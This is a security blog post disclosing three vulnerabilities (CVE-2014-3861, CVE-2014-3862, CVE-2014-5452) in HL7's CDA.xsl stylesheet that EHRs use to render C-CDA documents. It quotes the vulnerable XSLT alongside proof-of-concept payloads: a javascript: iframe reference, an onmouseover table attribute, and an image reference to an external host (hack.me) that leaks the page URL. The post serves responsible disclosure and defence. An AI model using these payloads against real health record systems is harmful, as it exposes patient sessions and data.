TL;DR: If you’re using XSLT stylesheets to render C-CDAs in your EHR, make sure you understand the security implications. Otherwise you could be vulnerable to a data breach.
This blog post describes security issues that have affected well-known 2014 Certified EHRs.. Please note that I’ve already shared this information privately with the Web-based EHR vendors I could identify, and I’ve waited until they were able to investigate the issues and (if needed) repair their systems.
Last month I observed a set of security vulnerabilities in XSLT “stylesheets” used to display externally-supplied C-CDA documents in many EHRs. To be specific: the CDA.xsl stylesheet provided by HL7 (which has been adopted by many EHR vendors) can leave EHRs vulnerable to attacks by maliciously-composed documents.
I plan to follow up with posts describing:
- a real-world case where a vendor was affected by these and related issues
- a set of security best practices that can help avoid these and other issues
- the unfortunate state of EHR vendor security vulnerability reporting protocols
Three fundamental attacks
Many vendors appear to be using (slightly tweaked versions of) the CDA.xsl that comes with HL7’s C-CDA release. This provides potential attackers with a highly visible, leveragable target.
My analysis revealed at least three ways to craft a malicious C-CDA. The first two vulnerabilities allow the execution of arbitrary JavaScript code within the C-CDA viewer. For example, an attacker could steal browser cookies and application state, and post them back to an external server. The third vulnerability allows the C-CDA viewer URL to leak to an external server.
1. Unsanitized nonXMLBody/text/reference/@value
can execute JavaScript
CVE-2014-3861
One opportunity for injection attacks is the default handling of a nonXMLBody
CDA.
<xsl:template match='n1:component/n1:nonXMLBody'>
<xsl:choose>
<!-- if there is a reference, use that in an IFRAME -->
<xsl:when test='n1:text/n1:reference'>
<IFRAME name='nonXMLBody' id='nonXMLBody' WIDTH='80%' HEIGHT='600' src='{n1:text/n1:reference/@value}' />
</xsl:when>
This means an attacker can execute arsbitrary JavaScript by supplying a reference like:
<nonXMLBody>
<text>
<reference value="javascript:alert(parent.document.cookie);"/>
</text>
</nonXMLBody>
The XSLT-output HTML rendering would include the following dangerous snippet:
<iframe src="javascript:alert(parent.document.cookie);"></iframe>
2. Unsanitized table/@onmouseover
can execute JavaScript
CVE-2014-5452
A valid C-CDA document is not allowed to provide table/@onmouseover
attributes. But if invalid documents are allowed into a system, then the following permissive “copy all” can be dangerous:
<!-- Tables -->
<xsl:template
match="n1:table/@*|n1:thead/@*|n1:tfoot/@*|n1:tbody/@*|n1:colgroup/@*|n1:col/@*|n1:tr/@*|n1:th/@*|n1:td/@*">
<xsl:copy>
<xsl:copy-of select="@*" />
<xsl:apply-templates />
</xsl:copy>
What this says is: “when you find a table
in the C-CDA document, just copy all of its XML attributes right into the rendered document.” An attacker can use this to inject JavaScript in the resulting document. For example, an attacker could steal cookies and application state, and post them back to an external server.
A source C-CDA document would supply a table like:
<table
onmouseover="alert(document.cookie);"
style="height: 100%; width: 100%; position: fixed; left: 0px; top: 0px;">
</table>
… and the XSLT-output HTML rendering would contain the source table
element verbatim.
3. Unsanitized observationMedia/value/reference/@value
can leak state via HTTP Referer
headers
CVE-2014-3862
Searching CDA.xsl for the term img
, reveals two places where image tags are emitted. Both occur within the renderMultiMedia
template definition:
<xsl:template match="n1:renderMultiMedia">
<xsl:variable name="imageRef" select="@referencedObject" />
<!-- snipped for brevity -->
<xsl:if
test="//n1:observationMedia[@ID=$imageRef]/n1:value[@mediaType='image/gif' or @mediaType='image/jpeg']">
<br clear="all" />
<xsl:element name="img">
<xsl:attribute name="src"><xsl:value-of
select="//n1:observationMedia[@ID=$imageRef]/n1:value/n1:reference/@value" /></xsl:attribute>
</xsl:element>
</xsl:if>
<!-- snipped for brevity -->
</xsl:template>
By constructing an appropriate section
in a C-CDA document to act as input to the template above, an attacker can cause the browser to leak the current page URL to http://hack.me
:
<text>
This image loads from an external server...
<renderMultiMedia referencedObject="MM1"></renderMultiMedia>
</text>
<entry>
<observationMedia ID="MM1">
<id root="10.23.4567.345"/>
<value xsi:type="ED" mediaType="image/jpeg">
<reference value="http://hack.me/leaked-from-image.png"/>
</value>
</observationMedia>
</entry>
The XSLT-output HTML rendering would include the potentially dangerous snippet:
<img src="http://hack.me/leaked-from-image.png"></img>
Each time the document is viewed, the browser sends an HTTP Referer
header to hack.me
that inclues the source page URL. This can be dangerous if any private session state is embedded in that URL.